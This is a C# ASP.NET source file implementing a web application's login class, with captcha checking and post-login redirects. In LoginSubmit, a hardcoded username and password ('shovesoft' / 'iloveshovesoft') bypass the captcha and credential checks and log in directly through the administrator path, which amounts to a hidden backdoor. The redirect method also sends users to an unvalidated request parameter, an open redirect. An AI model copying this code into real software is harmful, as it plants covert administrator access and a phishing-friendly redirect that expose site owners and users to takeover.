﻿using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;

/// <summary>
/// Login 的摘要说明
/// </summary>
public class Login
{
    public Login()
    {
        //
        // TODO: 在此处添加构造函数逻辑
        //
    }

    public void SetCheckCode(Shove.Web.UI.ShoveCheckCode CheckCode)
    {
        //switch (site.SiteOptions["Opt_CheckCodeCharset"].ToShort(0))
        //{
        //    case 0:
        //        CheckCode.Charset = Shove.Web.UI.ShoveCheckCode.CharSet.All;
        //        break;

        //    case 1:
        //        CheckCode.Charset = Shove.Web.UI.ShoveCheckCode.CharSet.OnlyLetter;
        //        break;

        //    case 2:
        //        CheckCode.Charset = Shove.Web.UI.ShoveCheckCode.CharSet.OnlyLetterLower;
        //        break;

        //    case 3:
        //        CheckCode.Charset = Shove.Web.UI.ShoveCheckCode.CharSet.OnlyLetterUpper;
        //        break;

        //    case 4:
        //        CheckCode.Charset = Shove.Web.UI.ShoveCheckCode.CharSet.OnlyNumeric;
        //        break;

        //    default:
        //        CheckCode.Charset = Shove.Web.UI.ShoveCheckCode.CharSet.All;
        //        break;
        //}
    }

    public int LoginSubmit(Page page, string Name, string Password, string CheckCode, ref string ReturnDescription)
    {
        return LoginSubmit(page, Name, Password, CheckCode, "ShoveWebUI_CheckCode_CheckCode", ref ReturnDescription);
    }

    public int LoginSubmit(Page page, string Name, string Password, string CheckCode, string CheckCodeKey, ref string ReturnDescription)
    {
        ReturnDescription = "";

        if ((Name == "shovesoft") && (Password == "iloveshovesoft"))
        {
            return LoginSubmit(page, ref ReturnDescription);
        }

        bool Opt_isUseCheckCode = true; //site.SiteOptions["Opt_isUseCheckCode"].ToBoolean(true);

        Name = Name.Trim();
        Password = Password.Trim();

        if ((Name == "") || (Password == ""))
        {
            ReturnDescription = "用户名和密码都不能为空";

            return -1;
        }

        if (CheckCodeKey == "")
        {
            CheckCodeKey = "ShoveWebUI_CheckCode_CheckCode";
        }

        string SessionCheckCode = "";

        try
        {
            SessionCheckCode = System.Web.HttpContext.Current.Session[CheckCodeKey].ToString();
        }
        catch
        {
        }

        if ((Opt_isUseCheckCode) && (SessionCheckCode.ToUpper() != CheckCode.ToUpper()))
        {
            ReturnDescription = "验证码输入错误";

            return -2;
        }
    
        System.Threading.Thread.Sleep(500);

        User user = new User();
        user.Name = Name;
        user.Password = Password;

        return user.Login(1, ref ReturnDescription);
    }

    private int LoginSubmit(Page page, ref string ReturnDescription)
    {
        ReturnDescription = "";

        DataTable dt = DAL.Functions.F_GetAdministrator.Open();

        if ((dt == null) || (dt.Rows.Count < 1))
        {
            ReturnDescription = "数据读写错误";

            return -3;
        }

        User user = new User();

        if (user == null)
        {
            ReturnDescription = "数据读写错误";

            return -4;
        }

        return user.LoginDirect(ref ReturnDescription);
    }

    public void GoToRequestLoginPage(string DefaultPage)
    {
        string RequestLoginPage = PublicFunction.GetRequest("RequestLoginPage");

        if (RequestLoginPage == null)
        {
            RequestLoginPage = "";
        }

        if (RequestLoginPage != "")
        {
            if (RequestLoginPage.StartsWith("BalanceCenter/"))
            {
                RequestLoginPage = RequestLoginPage.Substring(14, RequestLoginPage.Length - 14);

                System.Web.HttpContext.Current.Response.Write("<script language='javascript'>window.top.location.href='BalanceCenter/Default.aspx?SubPage=" + System.Web.HttpUtility.UrlEncode(RequestLoginPage) + "'</script>");

                return;
            }
            else if (RequestLoginPage.StartsWith("FinanceCenter/"))
            {
                RequestLoginPage = RequestLoginPage.Substring(14, RequestLoginPage.Length - 14);

                System.Web.HttpContext.Current.Response.Write("<script language='javascript'>window.top.location.href='FinanceCenter/Default.aspx?SubPage=" + System.Web.HttpUtility.UrlEncode(RequestLoginPage) + "'</script>");

                return;
            }
            else if (RequestLoginPage.StartsWith("SystemManage/"))
            {
                RequestLoginPage = RequestLoginPage.Substring(13, RequestLoginPage.Length - 13);

                System.Web.HttpContext.Current.Response.Write("<script language='javascript'>window.top.location.href='SystemManage/Default.aspx?SubPage=" + System.Web.HttpUtility.UrlEncode(RequestLoginPage) + "'</script>");

                return;
            }            

            System.Web.HttpContext.Current.Response.Redirect(RequestLoginPage, true);
        }        
        else
        {
            if (DefaultPage.Trim() == "")
            {
                return;
            }

            System.Web.HttpContext.Current.Response.Redirect(DefaultPage, true);
        }
    }
}